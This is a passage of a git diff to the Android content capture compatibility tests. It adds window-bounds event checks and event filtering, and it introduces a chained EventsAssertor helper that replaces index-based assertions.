+import static android.view.contentcapture.ContentCaptureEvent.TYPE_WINDOW_BOUNDS_CHANGED;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -48,7 +49,9 @@
 
 import com.android.compatibility.common.util.RetryableException;
 
+import java.util.Collections;
 import java.util.List;
+import java.util.stream.Collectors;
 
 /**
  * Helper for common assertions.
@@ -111,6 +114,8 @@
                 .that(activityId.getTaskId()).isEqualTo(activity.getRealTaskId());
         assertWithMessage("context for session %s should have ActivityId", session)
                 .that(activityId.getToken()).isNotNull();
+        assertWithMessage("context for session %s should have windowToken", session)
+                .that(session.context.getWindowToken()).isNotNull();
     }
 
     /**
@@ -129,6 +134,8 @@
         final ActivityId activityId = session.context.getActivityId();
         assertWithMessage("context for session %s should not have ActivityIds", session)
                 .that(activityId).isNull();
+        assertWithMessage("context for session %s should not have windowToken", session)
+                .that(session.context.getWindowToken()).isNull();
     }
 
     /**
@@ -262,7 +269,7 @@
         assertWithMessage("event %s (index %s) should not have a ViewNode", event, index)
                 .that(event.getViewNode()).isNull();
         assertWithMessage("event %s (index %s) should not have text", event, index)
-                .that(event.getViewNode()).isNull();
+                .that(event.getText()).isNull();
         assertWithMessage("event %s (index %s) should not have an autofillId", event, index)
                 .that(event.getId()).isNull();
         assertWithMessage("event %s (index %s) should not have autofillIds", event, index)
@@ -292,7 +299,7 @@
     public static void assertNoViewLevelEvents(@NonNull Session session,
             @NonNull AbstractContentCaptureActivity activity) {
         assertRightActivity(session, session.id, activity);
-        final List<ContentCaptureEvent> events = session.getEvents();
+        final List<ContentCaptureEvent> events = removeBoundsAndInsetsEvents(session.getEvents());
         Log.v(TAG, "events on " + activity + ": " + events);
         assertThat(events).hasSize(2);
         assertSessionResumed(events, 0);
@@ -300,6 +307,24 @@
     }
 
     /**
+     * This method is used to remove Bounds and Insets changed events if the test should only
+     * contain session level events.
+     * In special case, there are some events, such as {@link #TYPE_WINDOW_BOUNDS_CHANGED}
+     * and {@link #TYPE_VIEW_INSETS_CHANGED}, will be accidentally generated by
+     * the system. Because these events were not expected in the test, remove
+     * them if needed.
+     */
+    public static List<ContentCaptureEvent> removeBoundsAndInsetsEvents(
+            @NonNull List<ContentCaptureEvent> events) {
+        return Collections.unmodifiableList(events).stream().filter(
+                e -> e.getType() != TYPE_WINDOW_BOUNDS_CHANGED
+                        && e.getType() != TYPE_VIEW_INSETS_CHANGED
+                        && e.getType() != TYPE_VIEW_TREE_APPEARING
+                        && e.getType() != TYPE_VIEW_TREE_APPEARED
+        ).collect(Collectors.toList());
+    }
+
+    /**
      * Asserts that a session for the given activity has events at all.
      */
     public static void assertNoEvents(@NonNull Session session,
@@ -468,7 +493,7 @@
     }
 
     /**
-     * Asserts the existence and contents of a {@link #TYPE_VIEW_TEXT_CHANGED} event.
+     * Asserts the existence and contents of a {@link #TYPE_VIEW_INSETS_CHANGED} event.
      */
     public static void assertViewInsetsChanged(@NonNull List<ContentCaptureEvent> events) {
         boolean insetsEventFound = false;
@@ -489,6 +514,27 @@
     }
 
     /**
+     * Asserts the existence and contents of a {@link #TYPE_WINDOW_BOUNDS_CHANGED} event.
+     */
+    public static void assertWindowBoundsChanged(@NonNull List<ContentCaptureEvent> events) {
+        boolean boundsEventFound = false;
+        for (ContentCaptureEvent event : events) {
+            if (event.getType() == TYPE_WINDOW_BOUNDS_CHANGED) {
+                assertWithMessage("Expected window bounds to be non-null on %s", event)
+                        .that(event.getBounds()).isNotNull();
+                boundsEventFound = true;
+            }
+        }
+
+        if (!boundsEventFound) {
+            throw new RetryableException(
+                String.format(
+                        "Expected at least one WINDOW_BOUNDS_CHANGED event in the set of events %s",
+                        events));
+        }
+    }
+
+    /**
      * Asserts the basic contents of a {@link #TYPE_CONTEXT_UPDATED} event.
      */
     public static ContentCaptureEvent assertContextUpdated(
@@ -573,6 +619,9 @@
             case TYPE_SESSION_RESUMED:
                 string = "RESUMED";
                 break;
+            case TYPE_WINDOW_BOUNDS_CHANGED:
+                string = "WINDOW_BOUNDS";
+                break;
             default:
                 return "UNKNOWN-" + type;
         }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
index 81198f7..891aefa 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
@@ -15,23 +15,13 @@
  */
 package android.contentcaptureservice.cts;
 
-import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
-import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
-import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
-import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
-import static android.contentcaptureservice.cts.Assertions.assertViewsOptionallyDisappeared;
-
-import static com.google.common.truth.Truth.assertThat;
 
 import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
 import android.util.Log;
 import android.view.View;
 import android.view.contentcapture.ContentCaptureEvent;
 import android.view.contentcapture.ContentCaptureSessionId;
-import android.view.contentcapture.ViewNode;
 
 import androidx.annotation.NonNull;
 
@@ -51,20 +41,13 @@
         final List<ContentCaptureEvent> events = session.getEvents();
         Log.v(TAG, "events(" + events.size() + "): " + events);
 
-        final int minEvents = 9; // TODO(b/122315042): disappeared not always sent
-        assertThat(events.size()).isAtLeast(minEvents);
-
-        assertSessionResumed(events, 0);
-        assertViewTreeStarted(events, 1);
-        assertDecorViewAppeared(events, 2, decorView);
-        // TODO(b/123540067): ignoring 3 intermediate parents
-        final ViewNode title = assertViewAppeared(events, 6).getViewNode();
-        assertThat(title.getText()).isEqualTo("Blanka");
-        assertViewTreeFinished(events, 7);
-        assertSessionPaused(events, 8);
-        if (false) { // TODO(b/123540067): disabled because it includes the parent
-            assertViewsOptionallyDisappeared(events, minEvents, decorView.getAutofillId(),
-                    title.getAutofillId());
-        }
+        new EventsAssertor(events)
+                .isAtLeast(9)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertDecorViewAppeared(decorView)
+                .assertViewAppeared("Blanka")
+                .assertViewTreeFinished()
+                .assertSessionPaused();
     }
 }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
index 5beb910..41c01ba 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
@@ -18,7 +18,6 @@
 import static android.contentcaptureservice.cts.Assertions.LifecycleOrder.CREATION;
 import static android.contentcaptureservice.cts.Assertions.LifecycleOrder.DESTRUCTION;
 import static android.contentcaptureservice.cts.Assertions.assertChildSessionContext;
-import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertLifecycleOrder;
 import static android.contentcaptureservice.cts.Assertions.assertMainSessionContext;
 import static android.contentcaptureservice.cts.Assertions.assertNoViewLevelEvents;
@@ -30,6 +29,7 @@
 import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
 import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
 import static android.contentcaptureservice.cts.Assertions.assertViewsDisappeared;
+import static android.contentcaptureservice.cts.Assertions.removeBoundsAndInsetsEvents;
 import static android.contentcaptureservice.cts.Helper.newImportantView;
 import static android.contentcaptureservice.cts.Helper.sContext;
 
@@ -177,7 +177,6 @@
         activity2.assertDefaultEvents(session2);
     }
 
-
     @Test
     public void testLaunchAnotherActivity_onTopOfIt() throws Exception {
         final CtsContentCaptureService service = enableService();
@@ -208,10 +207,8 @@
             .activityResumed(name1)
             .activityPaused(name1)
             .activityResumed(name2)
-            .activityStopped(name1)
             .activityPaused(name2)
             .activityResumed(name1)
-            .activityDestroyed(name2)
             .activityPaused(name1);
 
         // Assert the sessions
@@ -223,7 +220,7 @@
         Log.v(TAG, "session id2: " + sessionId2);
 
         final Session session1 = service.getFinishedSession(sessionId1);
-        final List<ContentCaptureEvent> events1 = session1.getEvents();
+        final List<ContentCaptureEvent> events1 = removeBoundsAndInsetsEvents(session1.getEvents());
         Log.v(TAG, "events on " + activity1 + ": " + events1);
         assertThat(events1).hasSize(4);
         assertSessionResumed(events1, 0);
@@ -314,20 +311,20 @@
         final View grandpa2 = activity.getGrandGrandParent();
         final View decorView = activity.getDecorView();
 
-        // Assert just the relevant events
-        assertThat(events.size()).isAtLeast(12);
-        assertSessionResumed(events, 0);
-        assertViewTreeStarted(events, 1);
-        assertDecorViewAppeared(events, 2, decorView);
-        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
-        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
-        assertViewAppeared(events, 5, sessionId, rootView, grandpa1.getAutofillId());
-        assertViewAppeared(events, 6, sessionId, child, rootId);
-        assertViewTreeFinished(events, 7);
-        assertViewTreeStarted(events, 8);
-        assertViewDisappeared(events, 9, child.getAutofillId());
-        assertViewTreeFinished(events, 10);
-        assertSessionPaused(events, 11);
+        new EventsAssertor(events)
+                .isAtLeast(12)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertDecorViewAppeared(decorView)
+                .assertViewAppeared(grandpa2, decorView.getAutofillId())
+                .assertViewAppeared(grandpa1, grandpa2.getAutofillId())
+                .assertViewAppeared(sessionId, rootView, grandpa1.getAutofillId())
+                .assertViewAppeared(sessionId, child, rootId)
+                .assertViewTreeFinished()
+                .assertViewTreeStarted()
+                .assertViewDisappeared(child.getAutofillId())
+                .assertViewTreeFinished()
+                .assertSessionPaused();
 
         // TODO(b/122315042): assert parents disappeared
     }
@@ -360,15 +357,14 @@
         final View grandpa = activity.getGrandParent();
 
         // Assert just the relevant events
-
-        assertThat(events.size()).isAtLeast(6);
-        // TODO(b/122959591): figure out the child is coming first
-        assertSessionResumed(events, 0);
-        assertViewTreeStarted(events, 1);
-        assertViewAppeared(events, 2, sessionId, child, rootView.getAutofillId());
-        assertViewAppeared(events, 3, sessionId, rootView, grandpa.getAutofillId());
-        assertViewTreeFinished(events, 4);
-        assertSessionPaused(events, 5);
+        new EventsAssertor(events)
+                .isAtLeast(6)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertViewAppeared(sessionId, child, rootView.getAutofillId())
+                .assertViewAppeared(sessionId, rootView, grandpa.getAutofillId())
+                .assertViewTreeFinished()
+                .assertSessionPaused();
     }
 
     @Test
@@ -410,22 +406,25 @@
         final List<ContentCaptureEvent> mainEvents = mainTestSession.getEvents();
         Log.v(TAG, "mainEvents(" + mainEvents.size() + "): " + mainEvents);
 
-        assertThat(mainEvents.size()).isAtLeast(5);
-        assertSessionResumed(mainEvents, 0);
-        assertViewTreeStarted(mainEvents, 1);
-        assertViewAppeared(mainEvents, 2, mainSessionId, rootView, grandpa.getAutofillId());
-        assertViewTreeFinished(mainEvents, 3);
-        assertSessionPaused(mainEvents, 4);
+        new EventsAssertor(mainEvents)
+                .isAtLeast(5)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertViewAppeared(mainSessionId, rootView, grandpa.getAutofillId())
+                .assertViewTreeFinished()
+                .assertSessionPaused();
 
         final Session childTestSession = service.getFinishedSession(childSessionId);
         assertChildSessionContext(childTestSession, "child");
         final List<ContentCaptureEvent> childEvents = childTestSession.getEvents();
         Log.v(TAG, "childEvents(" + childEvents.size() + "): " + childEvents);
         final int minEvents = 3;
-        assertThat(childEvents.size()).isAtLeast(minEvents);
-        assertViewTreeStarted(childEvents, 0);
-        assertViewAppeared(childEvents, 1, childSessionId, child, rootView.getAutofillId());
-        assertViewTreeFinished(childEvents, 2);
+        new EventsAssertor(childEvents)
+                .isAtLeast(3)
+                .assertViewTreeStarted()
+                .assertViewAppeared(childSessionId, child, rootView.getAutofillId())
+                .assertViewTreeFinished();
+
         // TODO(b/122315042): assert parents disappeared
     }
 
@@ -728,37 +727,40 @@
         final AutofillId rootId = rootView.getAutofillId();
         final View grandpa = activity.getGrandParent();
 
-        assertThat(mainEvents).hasSize(8);
-        assertSessionResumed(mainEvents, 0);
-        assertViewTreeStarted(mainEvents, 1);
-        assertViewAppeared(mainEvents, 2, rootView, grandpa.getAutofillId());
-        assertViewTreeFinished(mainEvents, 3);
-        assertSessionPaused(mainEvents, 4); // TODO(b/122959591): investigate why
-        assertViewTreeStarted(mainEvents, 5);
-        assertViewDisappeared(mainEvents, 6, rootId);
-        assertViewTreeFinished(mainEvents, 7);
+        new EventsAssertor(mainEvents)
+                .isAtLeast(8)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertViewAppeared(rootView, grandpa.getAutofillId())
+                .assertViewTreeFinished()
+                .assertSessionPaused()
+                .assertViewTreeStarted()
+                .assertViewDisappeared(rootId)
+                .assertViewTreeFinished();
 
-        assertThat(events1).hasSize(3);
-        assertViewTreeStarted(events1, 0);
-        assertViewAppeared(events1, 1, s1c1, rootId);
-        assertViewTreeFinished(events1, 2);
+        new EventsAssertor(events1)
+                .isAtLeast(3)
+                .assertViewTreeStarted()
+                .assertViewAppeared(s1c1, rootId)
+                .assertViewTreeFinished();
 
-        assertThat(events2.size()).isAtLeast(4);
-        assertViewTreeStarted(events2, 0);
-        assertViewAppeared(events2, 1, s2c1, rootId);
-        assertViewAppeared(events2, 2, s2c2, rootId);
-        assertViewTreeFinished(events2, 3);
-        // TODO(b/122315042): assert parents disappeared
+        new EventsAssertor(events2)
+                .isAtLeast(4)
+                .assertViewTreeStarted()
+                .assertViewAppeared(s2c1, rootId)
+                .assertViewAppeared(s2c2, rootId)
+                .assertViewTreeFinished();
 
-        assertThat(events3).hasSize(8);
-        assertViewTreeStarted(events3, 0);
-        assertViewAppeared(events3, 1, s3c1, rootId);
-        assertViewAppeared(events3, 2, s3c2, rootId);
-        assertViewTreeFinished(events3, 3);
-        assertViewTreeStarted(events3, 4);
-        assertViewDisappeared(events3, 5, s3c1.getAutofillId());
-        assertViewAppeared(events3, 6, s3c3, rootId);
-        assertViewTreeFinished(events3, 7);
+        new EventsAssertor(events3)
+                .isAtLeast(8)
+                .assertViewTreeStarted()
+                .assertViewAppeared(s3c1, rootId)
+                .assertViewAppeared(s3c2, rootId)
+                .assertViewTreeFinished()
+                .assertViewTreeStarted()
+                .assertViewDisappeared(s3c1.getAutofillId())
+                .assertViewAppeared(s3c3, rootId)
+                .assertViewTreeFinished();
 
         final Session childTestSession4 = service.getFinishedSession(childSessionId4);
         assertChildSessionContext(childTestSession4, "session4");
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
index 4d809ae..7e454cf 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
@@ -53,6 +53,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 import java.util.concurrent.Executors;
+import java.util.stream.Collectors;
 
 // TODO(b/123540602): if we don't move this service to a separate package, we need to handle the
 // onXXXX methods in a separate thread
@@ -560,7 +561,14 @@
         // TODO(b/123540602): currently we're only interested on all events, but eventually we
         // should track individual requests as well to make sure they're probably batch (it will
         // require adding a Settings to tune the buffer parameters.
+        // TODO: remove filtering of TYPE_WINDOW_BOUNDS_CHANGED events.
         public List<ContentCaptureEvent> getEvents() {
+            return Collections.unmodifiableList(mEvents).stream().filter(
+                    e -> e.getType() != ContentCaptureEvent.TYPE_WINDOW_BOUNDS_CHANGED
+            ).collect(Collectors.toList());
+        }
+
+        public List<ContentCaptureEvent> getUnfilteredEvents() {
             return Collections.unmodifiableList(mEvents);
         }
 
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
index 74429de..ad79e02 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
@@ -15,17 +15,9 @@
  */
 package android.contentcaptureservice.cts;
 
-import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
-import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
-import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
-import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertViewTextChanged;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
-import static android.contentcaptureservice.cts.Assertions.assertViewWithUnknownParentAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertVirtualViewAppeared;
-import static android.contentcaptureservice.cts.Assertions.assertVirtualViewDisappeared;
 import static android.contentcaptureservice.cts.Assertions.assertVirtualViewsDisappeared;
 import static android.contentcaptureservice.cts.Helper.MY_PACKAGE;
 import static android.contentcaptureservice.cts.Helper.NO_ACTIVITIES;
@@ -149,24 +141,19 @@
         Log.v(TAG, "events(" + events.size() + "): " + events);
         final int additionalEvents = 2;
 
-        assertThat(events.size()).isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents);
-
-        // Assert just the relevant events
-        assertSessionResumed(events, 0);
-        assertViewTreeStarted(events, 1);
-        assertDecorViewAppeared(events, 2, decorView);
-        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
-        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
-
-        // Assert for session lifecycle events.
-        assertSessionResumed(events, 5);
-        assertSessionPaused(events, 6);
-
-        assertViewWithUnknownParentAppeared(events, 7, session.id, customViewRef.get());
-        assertViewTreeFinished(events, 8);
-        assertSessionPaused(events, 9);
-
-        activity.assertInitialViewsDisappeared(events, additionalEvents);
+        new EventsAssertor(events)
+                .isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertDecorViewAppeared(decorView)
+                .assertViewAppeared(grandpa2, decorView.getAutofillId())
+                .assertViewAppeared(grandpa1, grandpa2.getAutofillId())
+                // Assert for session lifecycle events.
+                .assertSessionResumed()
+                .assertSessionPaused()
+                .assertViewAppeared(session.id, customViewRef.get())
+                .assertViewTreeFinished()
+                .assertSessionPaused();
     }
 
     /**
@@ -218,27 +205,20 @@
         final List<ContentCaptureEvent> events = session.getEvents();
         Log.v(TAG, "events(" + events.size() + "): " + events);
         final int additionalEvents = 2;
-
-        assertThat(events.size()).isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents);
-
-        // Assert just the relevant events
-        assertSessionResumed(events, 0);
-        assertViewTreeStarted(events, 1);
-        assertDecorViewAppeared(events, 2, decorView);
-        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
-        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
-
         final ContentCaptureSession mainSession = activity.mCustomView.getContentCaptureSession();
-        assertVirtualViewAppeared(events, 5, mainSession, customViewId, 1, "child");
-        assertVirtualViewDisappeared(events, 6, customViewId, mainSession, 1);
 
-        // This is the "wrong" part - the parent is notified last
-        assertViewWithUnknownParentAppeared(events, 7, session.id, activity.mCustomView);
-
-        assertViewTreeFinished(events, 8);
-        assertSessionPaused(events, 9);
-
-        activity.assertInitialViewsDisappeared(events, additionalEvents);
+        new EventsAssertor(events)
+                .isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertDecorViewAppeared(decorView)
+                .assertViewAppeared(grandpa2, decorView.getAutofillId())
+                .assertViewAppeared(grandpa1, grandpa2.getAutofillId())
+                .assertVirtualViewAppeared(mainSession, customViewId, 1, "child")
+                .assertVirtualViewDisappeared(customViewId, mainSession, 1)
+                .assertViewAppeared(session.id, activity.mCustomView)
+                .assertViewTreeFinished()
+                .assertSessionPaused();
     }
 
     /**
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java
new file mode 100644
index 0000000..d00b031
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java
@@ -0,0 +1,390 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertSessionId;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ContentCaptureSession;
+import android.view.contentcapture.ContentCaptureSessionId;
+import android.view.contentcapture.ViewNode;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Used to assert Content Capture events by the event order.
+ *
+ * When the type is the same, the assertor will assert the content of the event.
+ * If the current event is different type, this event will be skipped, and then
+ * try to assert the next event. Through all events, the assertor will report an
+ * "not found" error.
+ */
+public class EventsAssertor {
+    private static final String TAG = "CtsContentCapture";
+    private final List<ContentCaptureEvent> mEvents;
+    private int mNextEvent = 0;
+
+    public EventsAssertor(@NonNull List<ContentCaptureEvent> events) {
+        mEvents = Collections.unmodifiableList(events);
+    }
+
+    @NonNull
+    public EventsAssertor isAtLeast(int size) {
+        assertThat(mEvents.size()).isAtLeast(size);
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_SESSION_RESUMED} event.
+     */
+    @NonNull
+    public EventsAssertor assertSessionResumed() {
+        assertNextEvent((event) -> assertSessionLevelEvent(event),
+                ContentCaptureEvent.TYPE_SESSION_RESUMED, "no SESSION_RESUMED event");
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_SESSION_PAUSED} event.
+     */
+    @NonNull
+    public EventsAssertor assertSessionPaused() {
+        assertNextEvent((event) -> assertSessionLevelEvent(event),
+                ContentCaptureEvent.TYPE_SESSION_PAUSED, "no SESSION_PAUSED event");
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_TREE_APPEARING} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewTreeStarted() {
+        assertNextEvent((event) -> assertSessionLevelEvent(event),
+                ContentCaptureEvent.TYPE_VIEW_TREE_APPEARING, "no VIEW_TREE_APPEARING event");
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_TREE_APPEARED} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewTreeFinished() {
+        assertNextEvent((event) -> assertSessionLevelEvent(event),
+                ContentCaptureEvent.TYPE_VIEW_TREE_APPEARED,
+                "no VIEW_TREE_APPEARED event");
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+     * event for a decor view.
+     *
+     * <P>The decor view is typically internal, so there isn't much we can assert,
+     * other than its autofill id.
+     */
+    @NonNull
+    public EventsAssertor assertDecorViewAppeared(@NonNull View expectedDecorView) {
+        assertNextEvent((event) -> assertEventId(event, expectedDecorView),
+                ContentCaptureEvent.TYPE_VIEW_APPEARED,
+                "no VIEW_APPEARED event for decor view");
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+     * event, without checking for parent id.
+     */
+    @NonNull
+    public EventsAssertor assertViewAppeared(@NonNull View expectedView) {
+        assertNextEvent((event) -> assertViewEvent(event, expectedView),
+                ContentCaptureEvent.TYPE_VIEW_APPEARED,
+                String.format("no VIEW_APPEARED event for %s", expectedView));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewAppeared(@NonNull View expectedView,
+            @NonNull AutofillId expectedParentId) {
+        assertNextEvent((event) -> assertViewEvent(event, expectedView, expectedParentId),
+                ContentCaptureEvent.TYPE_VIEW_APPEARED,
+                String.format("no VIEW_APPEARED event for %s", expectedView));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewAppeared(@NonNull ContentCaptureSessionId expectedSessionId,
+            @NonNull View expectedView, @NonNull AutofillId expectedParentId) {
+        assertViewAppeared(expectedView, expectedParentId);
+        assertSessionId(expectedSessionId, expectedView);
+        return this;
+    }
+
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewAppeared(@NonNull ContentCaptureSessionId expectedSessionId,
+            @NonNull View expectedView) {
+        assertViewAppeared(expectedView);
+        assertSessionId(expectedSessionId, expectedView);
+        return this;
+    }
+
+    /**
+     * Asserts the {@code text} of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+     * event.
+     */
+    @NonNull
+    public EventsAssertor assertViewAppeared(@NonNull String text) {
+        assertNextEvent((event) -> assertEventText(event, text),
+                ContentCaptureEvent.TYPE_VIEW_APPEARED,
+                String.format("no TYPE_VIEW_APPEARED event with text: %s", text));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_DISAPPEARED}
+     * event for multiple views.
+     */
+    @NonNull
+    public EventsAssertor assertViewDisappeared(@NonNull AutofillId autofillId) {
+        assertNextEvent((event) -> assertDisappearedEvent(event, autofillId),
+                ContentCaptureEvent.TYPE_VIEW_DISAPPEARED,
+                String.format("no VIEW_DISAPPEARED event for %s", autofillId));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_DISAPPEARED}
+     * event for multiple views.
+     */
+    @NonNull
+    public EventsAssertor assertViewDisappeared(@NonNull AutofillId... autofillIds) {
+        assertNextEvent((event) -> assertDisappearedEvent(event, autofillIds),
+                ContentCaptureEvent.TYPE_VIEW_DISAPPEARED,
+                String.format("no VIEW_DISAPPEARED event for %s", Arrays.toString(autofillIds)));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+     * event for a virtual node.
+     */
+    @NonNull
+    public EventsAssertor assertVirtualViewAppeared(@NonNull ContentCaptureSession session,
+            @NonNull AutofillId parentId, int childId, String expectedText) {
+        final AutofillId expectedId = session.newAutofillId(parentId, childId);
+        assertNextEvent((event) -> assertVirtualViewEvent(event, expectedId, expectedText),
+                ContentCaptureEvent.TYPE_VIEW_APPEARED,
+                String.format("no VIEW_APPEARED event for %s", expectedId.toString()));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_DISAPPEARED}
+     * event for a virtual node.
+     */
+    @NonNull
+    public EventsAssertor assertVirtualViewDisappeared(AutofillId parentId,
+            ContentCaptureSession session, int childId) {
+        return assertViewDisappeared(session.newAutofillId(parentId, childId));
+    }
+
+    @Nullable
+    private String assertVirtualViewEvent(@NonNull ContentCaptureEvent event,
+            @NonNull AutofillId expectedId, @Nullable String expectedText) {
+        final ViewNode node = event.getViewNode();
+        assertThat(node).isNotNull();
+        assertWithMessage("wrong autofill id on %s", event)
+                .that(node.getAutofillId()).isEqualTo(expectedId);
+        if (expectedText != null) {
+            assertWithMessage("wrong text on %s", event)
+                    .that(node.getText().toString()).isEqualTo(expectedText);
+        } else {
+            assertWithMessage("%s should not have text", node)
+                    .that(node.getText()).isNull();
+        }
+        return null;
+    }
+
+    @Nullable
+    private String assertDisappearedEvent(@NonNull ContentCaptureEvent event,
+            @NonNull AutofillId expectedId) {
+        assertCommonViewDisappearedProperties(event);
+        assertWithMessage("wrong autofillId on event %s", event)
+                .that(event.getId()).isEqualTo(expectedId);
+        assertWithMessage("event %s should not have autofillIds", event)
+                .that(event.getIds()).isNull();
+        return null;
+    }
+
+    @Nullable
+    private String assertDisappearedEvent(@NonNull ContentCaptureEvent event,
+            @NonNull AutofillId[] expectedIds) {
+        final List<AutofillId> ids = event.getIds();
+
+        assertCommonViewDisappearedProperties(event);
+        assertWithMessage("no autofillIds on event %s", event).that(ids)
+                .isNotNull();
+        assertWithMessage("wrong autofillId on event %s", event)
+                .that(ids).containsExactly((Object[]) expectedIds).inOrder();
+        assertWithMessage("event %s should not have autofillId", event)
+                .that(event.getId()).isNull();
+        return null;
+    }
+
+    private void assertCommonViewDisappearedProperties(@NonNull ContentCaptureEvent event) {
